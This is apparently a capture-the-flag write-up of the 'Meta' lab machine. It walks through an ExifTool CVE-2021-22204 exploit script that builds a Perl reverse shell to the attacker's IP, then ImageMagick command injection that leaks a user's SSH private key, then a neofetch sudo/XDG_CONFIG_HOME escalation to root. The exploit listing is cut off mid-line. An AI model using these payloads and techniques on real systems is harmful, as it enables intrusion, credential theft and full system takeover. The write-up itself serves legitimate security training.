As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to foothold We’ll start with masscan rob:Meta/ $ sudo masscan -p1-65535,U:1-65535 10.129.100.45 --rate=1000 -e tun0 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-23 17:19:18 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 22/tcp on 10.129.100.45 Discovered open port 80/tcp on 10.129.100.45 And now nmap for more detail on our found ports rob:Meta/ $ nmap -A -T4 -v -p22,80 10.129.100.45 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-23 17:23 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Initiating Ping Scan at 17:23 Scanning 10.129.100.45 [2 ports] Completed Ping Scan at 17:23, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:23 Completed Parallel DNS resolution of 1 host. at 17:23, 0.02s elapsed Initiating Connect Scan at 17:23 Scanning 10.129.100.45 [2 ports] Discovered open port 80/tcp on 10.129.100.45 Discovered open port 22/tcp on 10.129.100.45 Completed Connect Scan at 17:23, 0.09s elapsed (2 total ports) Initiating Service scan at 17:23 Scanning 2 services on 10.129.100.45 Completed Service scan at 17:23, 6.19s elapsed (2 services on 1 host) NSE: Script scanning 10.129.100.45. Initiating NSE at 17:23 Completed NSE at 17:23, 2.83s elapsed Initiating NSE at 17:23 Completed NSE at 17:23, 0.36s elapsed Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Nmap scan report for 10.129.100.45 Host is up (0.088s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA) | 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA) |_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519) 80/tcp open http Apache httpd | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://artcorp.htb |_http-server-header: Apache Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Initiating NSE at 17:23 Completed NSE at 17:23, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.96 seconds We can straight away see that port 80 redirects to a vhost, artcorp.htb, so we’ll add that to our /etc/hosts On port 80 then we find a website under construction This seems ideal for there to be a dev. subdomain or something similar, so let’s start with a subdomain search rob:Meta/ $ ffuf -u http://artcorp.htb -H 'Host: FUZZ.artcorp.htb' -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive Very quickly though this seems to grind to a half, perhaps there is some rate-lmiting at work here We can try some directory busting rob:Meta/ $ gobuster dir --url http://artcorp.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://artcorp.htb/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/23 17:32:50 Starting gobuster in directory enumeration mode =============================================================== /css (Status: 301) [Size: 231] [-- http://artcorp.htb/css/] /assets (Status: 301) [Size: 234] [-- http://artcorp.htb/assets/] /server-status (Status: 403) [Size: 199] =============================================================== 2022/01/23 17:42:08 Finished =============================================================== But nothing there particularly The text on the website really seems to suggest that we should find a subdomain We try every combination of subdomain and base name, but none seem to be active subdomain base domain dev artcorp.htb alpha metaview.htb beta metaview.artcorp.htb test testing It really does seem as if there must be a vhost, so let’s try fuzzing again with a smaller list perhaps and work up in size rob:Meta/ $ ffuf -r -u http://artcorp.htb -H 'Host: FUZZ.artcorp.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 4427 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive Excellent, we found dev01.artcorp.htb Let’s have a look at ‘MetaView’ Ok, let’s give it an image then Right, this is showing us image metadata for any image file we upload, possibly by passing the image to exiftool. There are vulnerabilities with a recent version of exiftool, CVE-2021-22204, so let’s see if we can make that work for us. A little more googling finds us an exploit PoC that we can try rob:Meta/ $ git clone https://github.com/convisolabs/CVE-2021-22204-exiftool.git Cloning into 'CVE-2021-22204-exiftool'... remote: Enumerating objects: 27, done. remote: Counting objects: 100% (27/27), done. remote: Compressing objects: 100% (25/25), done. remote: Total 27 (delta 6), reused 17 (delta 2), pack-reused 0 Receiving objects: 100% (27/27), 52.53 KiB | 1.54 MiB/s, done. Resolving deltas: 100% (6/6), done. rob:Meta/ $ cd CVE-2021-22204-exiftool rob:CVE-2021-22204-exiftool/ (master) $ vi exploit.py rob:CVE-2021-22204-exiftool/ (master✗) $ cat exploit.py #!/bin/env python3 import base64 import subprocess ip = '10.10.14.79' # Update these lines port = '1234' # Update these lines payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('" payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'&S');open(STDOUT,'&S');open(STDERR,'&S');exec('/bin/sh -i');}};".encode() ) payload = payload + b"'))};\")" payload_file = open('payload', 'w') payload_file.write(payload.decode('utf-8')) payload_file.close() subprocess.run(['bzz', 'payload', 'payload.bzz']) subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz']) subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExifAnd when we upload the image.jpg file, we pop a shell in our waiting listener rob:Meta/ $ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.79] from (UNKNOWN) [10.129.100.45] 37182 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) User www-data We’ll first stablize our shell and then do some manual enumeration We can find a user thomas who has the user flag www-data@meta:/$ ls -lA /home/thomas/user.txt -rw-r----- 1 thomas thomas 33 Jan 22 19:40 /home/thomas/user.txt Uploading pspy64 to the box we can see a cronjob executing every minute www-data@meta:/tmp$ ./pspy64 pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2022/01/23 14:22:50 CMD: UID=0 PID=97 | 2022/01/23 14:22:50 CMD: UID=0 PID=9 | 2022/01/23 14:22:50 CMD: UID=0 PID=87 | 2022/01/23 14:22:50 CMD: UID=0 PID=86 | --snip-- 2022/01/23 14:22:50 CMD: UID=0 PID=1 | /sbin/init 2022/01/23 14:23:01 CMD: UID=0 PID=18356 | /usr/sbin/CRON -f 2022/01/23 14:23:01 CMD: UID=0 PID=18355 | /usr/sbin/CRON -f 2022/01/23 14:23:01 CMD: UID=1000 PID=18359 | /bin/sh -c /usr/local/bin/convert_images.sh 2022/01/23 14:23:01 CMD: UID=0 PID=18358 | /bin/sh -c rm /tmp/* 2022/01/23 14:23:01 CMD: UID=0 PID=18357 | /bin/sh -c rm /tmp/* 2022/01/23 14:23:01 CMD: UID=1000 PID=18361 | /usr/local/bin/mogrify -format png *.* 2022/01/23 14:23:01 CMD: UID=1000 PID=18360 | /bin/bash /usr/local/bin/convert_images.sh 2022/01/23 14:23:01 CMD: UID=1000 PID=18362 | /bin/bash /usr/local/bin/convert_images.sh Checking the contents of /usr/local/bin/convert_images.sh we find www-data@meta:/tmp$ cat /usr/local/bin/convert_images.sh #!/bin/bash cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2/dev/null pkill mogrify This mogrify command is part of the ImageMajick package, and in fact we can see (busybox-style) that it’s just a symlink to the majick binary itself www-data@meta:/$ ls -la /usr/local/bin/mogrify lrwxrwxrwx 1 root root 6 Aug 29 15:59 /usr/local/bin/mogrify - magick Googling for more recent ImageMajick vulnerabilities we find this interesting article which references this article as one of the background sources A shell injection on the PDF file format found by InsertScript[3] and disclosed at the end of 2020 … [3] ImageMagick - Shell injection via PDF password: https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-… In turn this article seems to be describing some of the research that led to CVE-2020-29599 ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40 mishandles the -authenticate option, which allows setting a password for password-protected PDF files. The user-controlled password was not properly escaped/sanitized and it was therefore possible to inject additional shell commands via coders/pdf.c. Near the bottom of the research piece we see some Proof of Concept code ./0wned`;"' As we’ve seen from our pspy64 capture, the contents of /var/www/dev01.artcorp.htb/convert_images/ and tmp are regularly cleared, so we will change any filepaths that are relevant to our output to /dev/shm Executing the PoC then is as simple as dropping our crafted exploit.svg file into the /var/www/dev01.artcorp.htb/convert_images/ directory and waiting. In a minute or so we see the following processes launching with pspy64 2022/01/23 20:02:01 CMD: UID=0 PID=23992 | /usr/sbin/cron -f 2022/01/23 20:02:01 CMD: UID=0 PID=23991 | /usr/sbin/cron -f 2022/01/23 20:02:01 CMD: UID=0 PID=23990 | /usr/sbin/CRON -f 2022/01/23 20:02:01 CMD: UID=1000 PID=23993 | /bin/sh -c /usr/local/bin/convert_images.sh 2022/01/23 20:02:01 CMD: UID=1000 PID=23995 | /usr/local/bin/mogrify -format png exploit.svg 2022/01/23 20:02:01 CMD: UID=1000 PID=23994 | /bin/bash /usr/local/bin/convert_images.sh 2022/01/23 20:02:01 CMD: UID=0 PID=23996 | /usr/sbin/CRON -f 2022/01/23 20:02:01 CMD: UID=0 PID=23998 | /bin/sh -c rm /tmp/* 2022/01/23 20:02:01 CMD: UID=0 PID=23997 | /usr/sbin/CRON -f 2022/01/23 20:02:01 CMD: UID=0 PID=23999 | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf 2022/01/23 20:02:01 CMD: UID=1000 PID=24002 | sh -c 'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4 -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=ff" `echo $(id) /dev/shm/0wned`;"" '-sOutputFile=/tmp/magick-o9UH1A-tdfuNV7vIlPUidNVkZYkondzY%d' '-f/tmp/magick-AFd8dX364axzv8vVsw95MUbdolLFKNqA' '-f/tmp/magick-uGpYzred_2dd9haTsgnLzBnoMo05spic' 2022/01/23 20:02:01 CMD: UID=1000 PID=24004 | id 2022/01/23 20:02:01 CMD: UID=1000 PID=24003 | sh -c 'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4 -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=ff" `echo $(id) /dev/shm/0wned`;"" '-sOutputFile=/tmp/magick-o9UH1A-tdfuNV7vIlPUidNVkZYkondzY%d' '-f/tmp/magick-AFd8dX364axzv8vVsw95MUbdolLFKNqA' '-f/tmp/magick-uGpYzred_2dd9haTsgnLzBnoMo05spic' 2022/01/23 20:02:01 CMD: UID=1000 PID=24005 | gs -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r72x72 -sPDFPassword=ff 2022/01/23 20:02:02 CMD: UID=1000 PID=24006 | pkill mogrify Ok, that certainly did something! Let’s have a look in /dev/shm/0wned and see if our PoC worked www-data@meta:/dev/shm$ cat /dev/shm/0wned uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) Excellent, it did! Now we could use this to simply extract and write out the user flag, but we still need to own thomas in order to privesc from there, so let’s instead target their SSH keys www-data@meta:/dev/shm$ cat exploit.svg /dev/shm/0wned`;"' And after the exploit runs we should find our key in /dev/shm/0wned www-data@meta:/dev/shm$ cat 0wned -----BEGIN OPENSSH PRIVATE KEY----- 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 bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE= -----END OPENSSH PRIVATE KEY----- We can save this locally and then SSH to the box rob:Meta/ $ ssh -i thomas_id_rsa thomas@10.129.100.45 The authenticity of host '10.129.100.45 (10.129.100.45)' can't be established. ED25519 key fingerprint is SHA256:Y8C2lOecv5ZDp3I6M5zjDUYDVsc3p/pgjF9HVRPioqQ. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.100.45' (ED25519) to the list of known hosts. Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. thomas@meta:~$ id uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) thomas@meta:~$ cat user.txt `REDACTED` Excellent, we got the user flag, now we just need to privesc Privesc to root One of the things we saw earlier when watching pspy64 was another cronjob running as root which copied files to thomas 2022/01/23 20:02:01 CMD: UID=0 PID=23999 | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf This seems like a good place to begin looking for a route to privesc Checking sudo rights we find a permission that backs this theory up thomas@meta:~$ sudo -l Matching Defaults entries for thomas on meta: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME User thomas may run the following commands on meta: (root) NOPASSWD: /usr/bin/neofetch \"\" GTFOBins has an exploit for this, but it looks like the command we are permitted to run has been neutered for this Sudo If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. LFILE=file_to_read sudo neofetch –ascii $LFILE The escaped "" characters in our sudo command however must stop any arguments being given to neofetch. We can confirm this thomas@meta:~$ sudo /usr/bin/neofetch --ascii /root/root.txt We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for thomas: Sorry, try again. [sudo] password for thomas: sudo: 1 incorrect password attempt We are asked for a password, despite our sudo rights having the NOPASSWD property, this is because we don’t match the templated command anymore, we can verify by testing with the command as described thomas@meta:~$ sudo /usr/bin/neofetch _,met$$$$$gg. root@meta ,g$$$$$$$$$$$$$$$P. --------- ,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64 ,$$P' `$$$. Host: VMware Virtual Platform None ',$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64 `d$$' ,$P"' . $$$ Uptime: 1 day, 47 mins $$P d$' , $$P Packages: 495 (dpkg) $$: $$. - ,d$$' Shell: bash 5.0.3 $$; Y$b._ _,d$P' CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz Y$$. `.`"Y$$$$P"' GPU: VMware SVGA II Adapter `$$b "-.__ Memory: 157MiB / 1994MiB `Y$$ `Y$$. `$$b. `Y$$b. `"Y$b._ `""" Ok, so the only way we can make this work then is by manipulating the config file, which we saw being over-written regularly by a cronjob. We’ll have to be quick between saving the amended config and running the command Reading the neofetch man page we find the ‘Image Backend’ section Image Backend --backend backend Which image backend to use. Possible values: 'ascii', 'caca', 'chafa', 'jp2a', 'iterm2', 'off', 'sixel', 'tycat', 'w3m', 'kitty' --source source Which image or ascii file to use. Possible values: 'auto', 'ascii', 'wallpaper', '/path/to/img', '/path/to/ascii', '/path/to/dir/', 'command output' [ascii] --ascii source Shortcut to use 'ascii' backend. NEW: neofetch --ascii "$(fortune | cowsay -W 30)" The ASCII source can be set to the output of a command, let’s try and extract our root flag this way. First we need to handle the fact that when we use sudo the neofetch command will not be using the config file in ~thomas/.config/neofetch, instead it will be using roots version. The key here is the additional line in sudo -l Matching Defaults entries for thomas on meta: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME User thomas may run the following commands on meta: (root) NOPASSWD: /usr/bin/neofetch \"\" If we look up the variable XDG_CONFIG_HOME we find that this is the root neofetch will use to find the config files, as it is part of the env_keep property it means that the user value will persist into the sudo execution. First things first then, let’s set this to point to thomass config location thomas@meta:~$ export XDG_CONFIG_HOME=/home/thomas/.config thomas@meta:~$ echo $XDG_CONFIG_HOME /home/thomas/.config Now grepping through the neofetch script we find the function that reads the config, get_user_config() get_user_config() { mkdir -p "${XDG_CONFIG_HOME}/neofetch/" # --config /path/to/config.conf if [[ -f "$config_file" ]]; then source "$config_file" err "Config: Sourced user config. (${config_file})" return elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config.conf" ]]; then source "${XDG_CONFIG_HOME}/neofetch/config.conf" err "Config: Sourced user config. (${XDG_CONFIG_HOME}/neofetch/config.conf)" elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config" ]]; then source "${XDG_CONFIG_HOME}/neofetch/config" err "Config: Sourced user config. (${XDG_CONFIG_HOME}/neofetch/config)" else config_file="${XDG_CONFIG_HOME}/neofetch/config.conf" # The config file doesn't exist, create it. printf '%s\n' "$config" "$config_file" fi } What we find here is that the config file is sourced, not parsed, and the source command doesn’t just set variables, it can also execute commands DESCRIPTION Execute commands from a file in the current shell. Read and execute commands from FILENAME in the current shell. The entries in $PATH are used to find the directory containing FILENAME. If any ARGUMENTS are supplied, they become the positional parameters when FILENAME is executed So, now that we control which config file is being used, we can put whatever commands we want executed in this file thomas@meta:~$ echo '/bin/bash -p' ~/.config/neofetch/config.conf && sudo /usr/bin/neofetch \"\" root@meta:/home/thomas# id uid=0(root) gid=0(root) groups=0(root) root@meta:/home/thomas# cat /root/root.txt `REDACTED` And we have it, Meta is owned! div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };